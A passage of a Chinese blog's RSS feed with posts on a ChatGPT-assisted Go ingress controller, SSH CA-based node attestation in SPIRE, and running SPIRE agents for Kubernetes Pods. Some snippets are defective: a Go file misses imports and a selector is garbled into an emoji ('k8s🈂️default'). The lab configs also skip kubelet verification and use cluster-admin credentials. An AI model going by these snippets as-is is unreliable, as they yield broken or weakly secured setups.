&lt;li&gt;这是因为 Go 1.11 版本后引入了模块（module）的概念，用于解决依赖管理的问题。如果我们的项目使用了 Go 模块，则需要在项目根目录中创建一个 go.mod 文件来记录项目的依赖关系。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go mod init my-ingress-controller&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果你使用的是 Go 1.16 及以上的版本，也可以使用以下命令自动初始化 Go 模块：&lt;code&gt;go mod init&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;照章办事之后，果然构建通过了。&lt;/p&gt;

&lt;p&gt;运行成功后，我们开始连接 Kubernetes，对此我给出的 Prompt 是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这一步运行成功之后，我们完成第三个步骤，加入连接 Kubernetes 集群的代码。并再次进行构建和试运行。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ChatGPT 并未含糊，给出了 &lt;code&gt;kube.go&lt;/code&gt; 和 &lt;code&gt;main.go&lt;/code&gt; 的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// kube.go 两种方法进行连接
package kube

import (
    &amp;quot;k8s.io/client-go/kubernetes&amp;quot;
    &amp;quot;k8s.io/client-go/tools/clientcmd&amp;quot;
    &amp;quot;k8s.io/client-go/rest&amp;quot;
)

func NewClient() (*kubernetes.Clientset, error) {
    config, err := clientcmd.BuildConfigFromFlags(&amp;quot;&amp;quot;, clientcmd.RecommendedHomeFile)
    if err != nil {
        return nil, err
    }
    clientset, err := kubernetes.NewForConfig(config)
    if err != nil {
        return nil, err
    }
    return clientset, nil
}

func InClusterConfig() (*rest.Config, error) {
    return rest.InClusterConfig()
}

//main.go：列出 Namespace

package main

import (
    &amp;quot;fmt&amp;quot;
    &amp;quot;my-ingress-controller/pkg/kube&amp;quot;
)

func main() {
    client, err := kube.NewClient()
    if err != nil {
        fmt.Println(err)
        return
    }
    namespaces, err := client.CoreV1().Namespaces().List(context.Background(), metav1.ListOptions{})
    if err != nil {
        fmt.Println(err)
        return
    }
    for _, ns := range namespaces.Items {
        fmt.Println(ns.Name)
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在这个步骤之后，ChatGPT 开始不太灵了，主要出现的问题包括：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Client-Go 和 Kubernetes 之间存在对应关系，他对于这方面并没有一个稳定的假设，导致 API 的兼容频频出错&lt;/li&gt;
&lt;li&gt;偶尔会在 Import 方面出现疏漏&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Import 问题基本上来说，贴出构建错误就能解决；而版本问题则需要反复调试和提示才得以解决。&lt;/p&gt;

&lt;p&gt;最后的一个坑是，他给我生成的 Informer 语句如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;informerFactory := informers.NewSharedInformerFactoryWithOptions(
    client, 
    0,
    informers.WithNamespace(&amp;quot;default&amp;quot;),
    informers.WithTweakListOptions(func(options *metav1.ListOptions) {
        options.LabelSelector = &amp;quot;app=my-ingress-controller&amp;quot;
    }),
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里暗含了对命名空间和标签的要求，导致测试无法通过。在我发现问题发出疑问时，这位很淡定的回答：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;是的，如果要测试 Ingress 资源的监控，可以在创建 Ingress 资源的时候添加一个 &lt;code&gt;app=my-ingress-controller&lt;/code&gt; 的标签，这样就会触发事件并输出日志信息。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;也算总结吧&#34;&gt;也算总结吧&lt;/h2&gt;

&lt;p&gt;所以以后学编程，是不是可以不用费劲加那么多啥微信群了？&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 SPIRE 中用 SSH 证实节点身份</title>
      <link>/post/register-node-with-ssh/</link>
      <pubDate>Sat, 17 Dec 2022 20:16:36 +0800</pubDate>
      <guid>/post/register-node-with-ssh/</guid>
      <description>

&lt;p&gt;前面关于 SPIRE 的内容中，介绍了使用 JOIN Token 证实节点身份的方法。这种方法比较简易，但是完全依赖 SPIRE Server/Agent 的“内循环”，并不利于外部管理，同时每次节点更新，都要照本宣科的重来一遍。对于动态集群来说，这种方式并不理想，SPIRE 包含了面向 OpenStack、几大公有云以及 TPM 等的花钱证实节点身份的方案；除了这些之外，还有个经济型的证实方法——使用 SSH。&lt;/p&gt;

&lt;p&gt;我们一般使用的免密登录 SSH 方案通常是点对点的，总结来说就是服务器和客户端各自有各自的公私钥，互相进行信任操作：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SSHD 会自动生成服务器端的公私钥&lt;/li&gt;
&lt;li&gt;客户端通常使用 &lt;code&gt;ssh-keygen&lt;/code&gt; 命令生成自己的公私钥&lt;/li&gt;
&lt;li&gt;客户端将服务器端的证书脚印加到自己的 &lt;code&gt;know_hosts&lt;/code&gt; 文件里面，代表信任该地址和证书的组合&lt;/li&gt;
&lt;li&gt;服务器将客户端的公钥加到服务侧特定用户的 &lt;code&gt;authorized_keys&lt;/code&gt; 文件之中，代表认可以该密钥作为特定用户的身份证明。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;不难看出，这个过程实际上是跟前面的 JOIN Token 方式是对等的，并不会提升节点证实过程的可管理性。因此 SPIRE 的 SSH 插件要求使用基于 CA 的 SSH 方法。&lt;/p&gt;

&lt;h2 id=&#34;用-ca-进行-ssh-认证&#34;&gt;用 CA 进行 SSH 认证&lt;/h2&gt;

&lt;p&gt;这种方式比上面的点对点认证方式稍微复杂一些。主要区别在于：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;主机身份和用户身份都用 CA 进行签署&lt;/li&gt;
&lt;li&gt;同样地，主机和用户身份的互信，也是通过对 CA 的信任完成&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;大概要完成几个工作：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建节点 CA 证书，SSH 客户端信任该 CA 证书&lt;/li&gt;
&lt;li&gt;用节点 CA 签发主机证书，并将服务端证书记录在 SSHD 的配置文件中。&lt;/li&gt;
&lt;li&gt;创建客户端 CA 证书，SSH 服务端信任该 CA 证书&lt;/li&gt;
&lt;li&gt;使用客户端 CA 签发用户证书，以此作为登录凭据。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;例如 ChatGPT 告诉我的步骤是这样的：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/chatgpt-sshca.png&#34; alt=&#34;chatgpt ssh ca&#34; /&gt;&lt;/p&gt;

&lt;p&gt;几个关键的命令：&lt;/p&gt;

&lt;h3 id=&#34;生成并配置-hostkey&#34;&gt;生成并配置 HostKey&lt;/h3&gt;

&lt;p&gt;下面的命令可以用于 SSHD 初始化，利用 CA 生成 HostKey：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;ssh-keygen -s /etc/ssh/ca \
     -I &amp;quot;$(hostname --fqdn) host key&amp;quot; \
     -n &amp;quot;$(hostname),$(hostname --fqdn),$(hostname -I|tr &#39; &#39; &#39;,&#39;)&amp;quot; \
     -V -5m:+3650d \
     -h \
     /etc/ssh/ssh_host_rsa_key.pub \
     /etc/ssh/ssh_host_dsa_key.pub \
     /etc/ssh/ssh_host_ecdsa_key.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看一下生成的证书内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ssh-keygen -L -f ssh_host_rsa_key-cert.pub
ssh_host_rsa_key-cert.pub:
        Type: ssh-rsa-cert-v01@openssh.com host certificate
        Public key: RSA-CERT SHA256:[...]
        Signing CA: RSA SHA256:[...] (using rsa-sha2-512)
        Key ID: &amp;quot;ssh&amp;quot;
        Serial: 0
        Valid: from 2022-12-16T08:12:02 to 2032-12-13T08:17:02
        Principals:
                ssh
                ssh
                10.211.55.9
                fdb2:2c26:f4e4:0:21c:42ff:fe2a:18c4
        Critical Options: (none)
        Extensions: (none)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;配置-hostkey&#34;&gt;配置 HostKey&lt;/h3&gt;

&lt;p&gt;生成主机凭据之后，将证书和密钥信息加入 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub
HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;让客户端信任主机-ca&#34;&gt;让客户端信任主机 CA&lt;/h3&gt;

&lt;p&gt;和前面提到的 FingerPrint 方式类似，把 CA 证书公钥加入到客户端的 &lt;code&gt;~/.ssh/know_hosts&lt;/code&gt; 之中，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;@cert-authority * ssh-rsa ...AAAAB3NzaC1yc2EAAAADAQABAAABgQCb... someone@ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;生成客户端证书&#34;&gt;生成客户端证书&lt;/h3&gt;

&lt;p&gt;和前面生成主机身份证书的情况类似，这次去掉了 &lt;code&gt;-h&lt;/code&gt; 参数：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;ssh-keygen -s /etc/ssh/ca \
    -I &amp;quot;$(whoami)@$(hostname --fqdn) user key&amp;quot; \
    -n &amp;quot;$(whoami)&amp;quot; \
    -V -5m:+3650d \
    ~/.ssh/id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;服务端信任客户端证书-ca&#34;&gt;服务端信任客户端证书 CA&lt;/h3&gt;

&lt;p&gt;同样在 &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; 配置中加入 &lt;code&gt;TrustedUserCAKeys&lt;/code&gt;，具体取值为用户 CA 的公钥文件名。&lt;/p&gt;

&lt;p&gt;完成这些内容之后，如果使用新的身份证书登录成功，则代表前置任务完成。否则可以参考以下材料：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-creating_ssh_ca_certificate_signing-keys&#34; target=&#34;_blank&#34;&gt;RHEL：Using OpenSSH Certificate Authentication&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.lorier.net/docs/ssh-ca.html&#34; target=&#34;_blank&#34;&gt;Using CA With SSH&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;spire-配置&#34;&gt;SPIRE 配置&lt;/h2&gt;

&lt;p&gt;前面的 SSH 配置只是个铺垫。SPIRE 使用 SSHPOP 实现了 Server 和 Agent 侧的节点证实插件，两个插件需要协同工作，&lt;a href=&#34;https://github.com/spiffe/spire/blob/main/doc/plugin_server_nodeattestor_sshpop.md&#34; target=&#34;_blank&#34;&gt;官网的说明&lt;/a&gt;非常简明扼要：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/NodeAttestor-ssh.png&#34; alt=&#34;ssh node attestor&#34; /&gt;&lt;/p&gt;

&lt;p&gt;稍稍延展说明一下需要注意的要点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SPIRE Agent 所在的节点实际上是作为 SSH 的服务端&lt;/li&gt;
&lt;li&gt;SPIRE Agent 联系 SPIRE Server 之后，SPIRE Server 要通过 SSH 来访问 SSH 服务端来确认身份。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;因此上面语焉不详的配置就比较清楚了：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SPIRE Server 的 &lt;code&gt;cert_authorities&lt;/code&gt; 需要的是客户端证书内容，例如 &lt;code&gt;[&amp;quot;ssh-rsa XXXX46IvQ+bDEXYvf8pM= someone@ssh&amp;quot;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SPIRE Server 的 &lt;code&gt;cert_authorities_path&lt;/code&gt; 指向节点 CA 公钥，例如 &lt;code&gt;XXXX/ca.pub&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SPIRE Agent 的 &lt;code&gt;host_cert_path&lt;/code&gt; 指向主机证书文件，例如 &lt;code&gt;XXXX_key-cert.pub&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SPIRE Agent 的 &lt;code&gt;host_key_path&lt;/code&gt; 指向密钥文件，例如 &lt;code&gt;XXXX_key&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;配置完成之后，启动 SPIRE Server，获取并把 Trust Bundle 传递给 SPIRE Agent，启动 SPIRE Agent，可以看到生成了形如 &lt;code&gt;&amp;quot;spiffe://spiffe.dom/spire/agent/sshpop/XXXX&lt;/code&gt; 的 SVID，说明这个证实过程已经成功完成。&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;本以为这是个顺便完成的东西，结果从来没想过 SSH 还有个 CA 这样的玩意，卡了好些时间，轻敌了。&lt;/p&gt;

&lt;p&gt;另，值此辞旧迎新之际，祝大家身体健康、事业稳定、学习进步、物资充足——最重要运气爆棚吧：）&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 SPIRE 为 Pod 提供身份</title>
      <link>/post/k8s-workload-id-with-spire/</link>
      <pubDate>Thu, 24 Nov 2022 21:55:45 +0800</pubDate>
      <guid>/post/k8s-workload-id-with-spire/</guid>
      <description>

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;SPIFFE 是一个认证框架，能为多种节点和工作负载类型提供证实能力，解决“我是我”的问题，前面文章演示过用 SPIRE 给类 Unix 进程提供身份的方法，今天这篇就试试给 Pod 提供身份。&lt;/p&gt;

&lt;p&gt;这次实验会在前面的基础之上，在 Kubernetes 集群之外运行独立的 SPIRE Server，在集群中用 Pod 的形式运行 SPIRE Agent 作为节点，最后在其它 Pod 中访问 SPIRE Agent，获取 SVID。本文所涉及的对象关系如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/spiff_and_k8s.drawio.png&#34; alt=&#34;spiff and k8s&#34; /&gt;&lt;/p&gt;

&lt;p&gt;开始之前，需要做一些准备：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;有一个 Kubernetes 集群，Kind 或者 Minikube 也都是可以完成测试的。&lt;/li&gt;
&lt;li&gt;SPIRE 1.5.x 的二进制文件，可以从 &lt;code&gt;https://spiffe.io/downloads/&lt;/code&gt; 下载&lt;/li&gt;
&lt;li&gt;构建镜像所需的基础镜像和 Podman/Docker 等工具。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;kubernetes-相关插件&#34;&gt;Kubernetes 相关插件&lt;/h2&gt;

&lt;p&gt;这里要用到 SPIRE 的三个插件：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Node Attestor&lt;/strong&gt;：用于证实 Node 身份，需要分别在 Server 和 Agent 两侧进行配置。目前可以选择 &lt;code&gt;k8s_sat&lt;/code&gt; 或者 &lt;code&gt;k8s_psat&lt;/code&gt; 两种插件，两侧的插件选择应保持一致，分别用于 ServiceAccount Token 和新版本 Kubernetes 中新增的 Projected ServiceAccount Token，本文选择的是 &lt;code&gt;k8s_sat&lt;/code&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected Token 具有更好的安全性，延伸阅读：&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&lt;/a&gt;）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Bundle&lt;/strong&gt;：Trust Bundle 是数字证书的集合，在 Kubernetes 中往往需要使用 Configmap 来存储和共享，所以一个直接的想法就是通过 &lt;code&gt;spire-server bundle show&lt;/code&gt; 命令来获取证书集合，并生成 Configmap。但是这个插件可以方便地通过 Kubernetes API 来自动维护证书集合到 Configmap 的转换过程，并自动完成轮转工作。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Workload Attestor&lt;/strong&gt;：用于证实 Workload 身份，只需要在 Agent 中配置即可。&lt;/p&gt;

&lt;h2 id=&#34;配置和启动-spire-server&#34;&gt;配置和启动 SPIRE Server&lt;/h2&gt;

&lt;p&gt;简单粗暴上配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;server {
...
    }
}

plugins {
    DataStore &amp;quot;sql&amp;quot; {
...
    }

KeyManager &amp;quot;disk&amp;quot; {
...
}

    Notifier &amp;quot;k8sbundle&amp;quot; {
        plugin_data {
            kube_config_file_path = &amp;quot;/home/dustise/.kube/config&amp;quot;
        }
    }

    NodeAttestor &amp;quot;k8s_sat&amp;quot; {
        plugin_data {
            clusters = {
                &amp;quot;kindcluster&amp;quot; = {
                    service_account_allow_list = [&amp;quot;spire:spire-agent&amp;quot;]
                    use_token_review_api_validation = true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 SPIRE Server 配置中，省略了通用部分，具体内容可以参考前面一篇文章，重点看一下两节 Kubernetes 相关配置。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;k8sbundle&lt;/code&gt; 的作用就是把 Trust Bundle 内容保存到 Configmap 里面，因此是需要和 API Server 打交道的，这里给他直接配置了一个 KubeConfig 文件，访问方式还有其他的配置内容，可以参考&lt;a href=&#34;https://github.com/spiffe/spire/blob/main/doc/plugin_server_notifier_k8sbundle.md&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;。要注意的是，这里使用的 KubeConfig 文件所包含的账号是 Cluster Admin 权限，如果使用其他的账号，需要具备对 Configmap 进行 create 和 patch 操作的授权。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;k8s_sat&lt;/code&gt; 一节中，&lt;code&gt;clusters&lt;/code&gt; 字段是一个 Map，其中可以对接多个 Kubernetes 集群，这里我们填充了三个字段：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;service_account_allow_list&lt;/code&gt;：允许 Agent 注册时使用的 Service Account。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;use_token_review_api_validation&lt;/code&gt;：使用 TokenReview API 对 Serivce Account Token 进行验证，除此之外，还可以使用证书进行认证。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube_config_file&lt;/code&gt;：和 API Server 进行沟通的凭据。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;和 Bundle 类似，这里同样需要具备一定的权限来完成 SPIRE Server 的工作，&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configmap 的 patch、get、list&lt;/li&gt;
&lt;li&gt;tokenreviews 的 create&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建好配置文件之后，可以先在目标集群中创建 &lt;code&gt;spire&lt;/code&gt; 命名空间。使用 &lt;code&gt;spire-server -config=[config file path]&lt;/code&gt; 命令启动服务器。稍后会在集群中看到新建的 Configmap。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;更多配置信息可以参考&lt;a href=&#34;https://github.com/spiffe/spire/blob/main/doc/plugin_server_nodeattestor_k8s_sat.md&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Server 启动成功后，可以提前为工作负载创建 Node 和 Entry：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;spire-server entry create -socketPath=socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/clusters/kindcluster \
    -selector k8s_sat:cluster:kindcluster -node

spire-server entry create -socketPath=socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/ns/default/sa/default \
    -parentID spiffe://spiffe.dom/ns/spire/sa/spire-agent \
    -selector k8s:ns:default \
    -selector k8s🈂️default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先用 &lt;code&gt;k8s_sat:cluster:kindcluster&lt;/code&gt; 创建了一个在 &lt;code&gt;spiffe.dom&lt;/code&gt; 中的 Node 条目，它的 SPIFFE ID 是 &lt;code&gt;spiffe://spiffe.dom/clusters/kindcluster&lt;/code&gt;；&lt;/p&gt;

&lt;p&gt;接下来以 Node 条目为上级，使用 &lt;code&gt;k8s:ns:default&lt;/code&gt; + &lt;code&gt;k8s🈂️default&lt;/code&gt; 的 Selector，创建一个 SPIFFE ID &lt;code&gt;spiffe://spiffe.dom/ns/default/sa/default&lt;/code&gt;，代表在 &lt;code&gt;default&lt;/code&gt; 命名空间中用 &lt;code&gt;default&lt;/code&gt; Service Account 身份运行的 Pod。&lt;/p&gt;

&lt;h2 id=&#34;创建-agent&#34;&gt;创建 Agent&lt;/h2&gt;

&lt;p&gt;在运行 Agent 之前，首先要制作一个镜像，这里偷懒的使用现成二进制进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM busybox:1.35.0-glibc
RUN mkdir -p /spire/bin
COPY spire-agent /spire/bin
CMD [&amp;quot;/spire/bin/spire-agent&amp;quot;, &amp;quot;-config=/spire/conf/k8s-agent.conf&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里要创建一个 Agent 的工作负载，为了让 Agent 能够通过进程号查询工作负载的 Pod 信息，并对工作负载提供 Workload API，需要满足几个条件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Agent 需要有授权访问 Kubernetes 的特定资源&lt;/li&gt;
&lt;li&gt;共享 Socket 文件，让 Workload 可以访问 Agent 提供的 Workload API&lt;/li&gt;
&lt;li&gt;能够识别调用 Workload API 的进程的 Pod 信息，从而生成 Selector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综合以上考虑，我们需要设计这样的 Workload：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用主机卷的方式在每个节点上暴露 Socket&lt;/li&gt;
&lt;li&gt;能够访问 Trust Bundle 所在的 Configmap&lt;/li&gt;
&lt;li&gt;Agent 和 Workload 共享 IPC 空间，便于通过进程号识别身份&lt;/li&gt;
&lt;li&gt;Agent 所使用的 Service Account 需要具备和 API Server/Kubelet 通信查询信息的能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因此产生如下的 YAML 片段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    spec:
      hostPID: true
      hostNetwork: true
      serviceAccountName: spire-agent
...
      containers:
        - name: spire-agent
          image: gcr.io/spiffe-io/spire-agent:1.5.0
          args: [&amp;quot;-config&amp;quot;, &amp;quot;/run/spire/config/agent.conf&amp;quot;]
          volumeMounts:
            - name: spire-config
              mountPath: /run/spire/config
              readOnly: true
            - name: spire-bundle
              mountPath: /run/spire/bundle
            - name: spire-agent-socket
              mountPath: /run/spire/sockets
              readOnly: false        
      volumes:
        - name: spire-config
          configMap:
            name: spire-agent
        - name: spire-bundle
          configMap:
            name: spire-bundle
        - name: spire-agent-socket
          hostPath:
            path: /run/spire/sockets
            type: DirectoryOrCreate
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段 YAML 有几个要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用了符合 SPIRE Server 配置中要求的 ServiceAccount&lt;/li&gt;
&lt;li&gt;HostPID 共享主机 PID 空间&lt;/li&gt;
&lt;li&gt;HostNetwork 共享主机网络空间&lt;/li&gt;
&lt;li&gt;加载 Trust Bundle 所在的 Configmap&lt;/li&gt;
&lt;li&gt;加载一个主机卷用于输出 Socket 文件&lt;/li&gt;
&lt;li&gt;用一个 Configmap 保存配置文件并加载&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agent 的配置文件如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;agent {
  data_dir = &amp;quot;/run/spire&amp;quot;
  log_level = &amp;quot;DEBUG&amp;quot;
  server_address = &amp;quot;10.211.55.5&amp;quot;
  server_port = &amp;quot;8081&amp;quot;
  socket_path = &amp;quot;/run/spire/sockets/agent.sock&amp;quot;
  trust_bundle_path = &amp;quot;/run/spire/bundle/bundle.crt&amp;quot;
  trust_domain = &amp;quot;spiffe.dom&amp;quot;
}

plugins {
  NodeAttestor &amp;quot;k8s_sat&amp;quot; {
    plugin_data {
      cluster = &amp;quot;kindcluster&amp;quot;
    }
  }

  KeyManager &amp;quot;memory&amp;quot; {
...
  }

  WorkloadAttestor &amp;quot;k8s&amp;quot; {
    plugin_data {
      skip_kubelet_verification = true
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Agent 配置相对来说稍显复杂：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server_address&lt;/code&gt; 和 &lt;code&gt;server_pod&lt;/code&gt;，用于访问前面启动的 SPIRE SERVER&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trust_bundle_path&lt;/code&gt; 引用 Configmap 的加载路径即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trust_domain&lt;/code&gt; 需要保持和 SPIRE Server 定义一致&lt;/li&gt;
&lt;li&gt;&lt;code&gt;k8s_sat&lt;/code&gt; 的 &lt;code&gt;cluster&lt;/code&gt; 字段中，集群名称需要和 SPIRE Server 的 Map 中的定义匹配&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skip_kubelet_verification&lt;/code&gt;：跳过对 Kubelet 证书的检查&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agent 使用的 Service Account 也需要进行 RBAC 授权，需要能够对 &lt;code&gt;pod&lt;/code&gt;、&lt;code&gt;node&lt;/code&gt; 以及 &lt;code&gt;node/proxy&lt;/code&gt; 进行 &lt;code&gt;get&lt;/code&gt; 操作。&lt;/p&gt;

&lt;p&gt;先后把配置 Configmap、RBAC 以及 Daemonset 等资源提交之后，会看到 Agent Pod 启动。&lt;/p&gt;

&lt;h2 id=&#34;启动客户端&#34;&gt;启动客户端&lt;/h2&gt;

&lt;p&gt;任意启动一个客户端程序，为模仿接入 Workload API 的实现，其中还是需要使用 SPIRE Agent 的二进制。客户端应该使用 Agent 的 Socket 访问 Wokrload API，同时为了表明身份，同样需要用 &lt;code&gt;HostPID&lt;/code&gt; 供 Agent 识别，因此运行如下工作负载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
      hostPID: true
      hostNetwork: true
...
      containers:
        - name: client
          image: gcr.io/spiffe-io/spire-agent:1.2.3
          command: [&amp;quot;sleep&amp;quot;]
          args: [&amp;quot;1000000000&amp;quot;]
          volumeMounts:
            - name: spire-agent-socket
              mountPath: /run/spire/sockets
              readOnly: true
      volumes:
        - name: spire-agent-socket
          hostPath:
            path: /run/spire/sockets
            type: Directory
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 在 &lt;code&gt;default&lt;/code&gt; 命名空间启动之后，进入 Shell 使用 &lt;code&gt;spire-agent api fetch&lt;/code&gt; 命令，就能成功的获取 SVID 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent api  fetch -socketPath=/run/spire/sockets/agent.sock
Received 1 svid after 83.772792ms

SPIFFE ID:              spiffe://spiffe.dom/shutup
SVID Valid After:       2022-11-24 17:02:03 +0000 UTC
SVID Valid Until:       2022-11-24 17:04:13 +0000 UTC
CA #1 Valid After:      2022-11-23 14:57:51 +0000 UTC
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;to-be-continued&#34;&gt;To be continued&lt;/h2&gt;

&lt;p&gt;现在我们就用一个非常笨拙的方法，把 Kubernetes 的工作负载识别能力接入到了 SPIRE Server 里面了。事实上接入 Kubernetes 还有别的部署和使用方式，例如使用 CRD、在集群内运行 SPIRE Server、使用 Envoy 等接入 Workload API 等。官网文档中对这些案例都有较为详细的指导。&lt;/p&gt;

&lt;p&gt;结合前面对于 Ghostunel 等的介绍，不难看出，打通虚拟机和 Kubernetes 工作负载身份是可行的，而根据联邦一文的描述，这个体系还可以和 OIDC 等进行互通，进一步扩大 SPIFFE SVID 的版图。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Scaling Spire.md</title>
      <link>/post/scaling-spire/</link>
      <pubDate>Thu, 24 Nov 2022 21:41:44 +0800</pubDate>
      <guid>/post/scaling-spire/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://spiffe.io/docs/latest/planning/scaling_spire/&#34; target=&#34;_blank&#34;&gt;Scaling SPIRE&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SPIRE 的容量是有限的，随着工作负载强度的不同，需要有不同的规模。一套 SPIRE 中的 Server 部分，可能由一或多个共享数据存储的 SPIRE Server 组成；还可以是同一信任域的多个 SPIRE Server；至少有一个 SPIRE Agent，当然，多数时候是多个 Agent。&lt;/p&gt;

&lt;p&gt;部署规模和负载规模相关。单个 SPIRE Server 能够承载一定数量的 Agent 和注册项。SPIRE Server 负责管理和签发注册项的身份，因此它的内存和 CPU 消耗是随着负载注册条目的数量线性增长的。单一的 SPIRE Server 部署还可能导致单点失败。&lt;/p&gt;

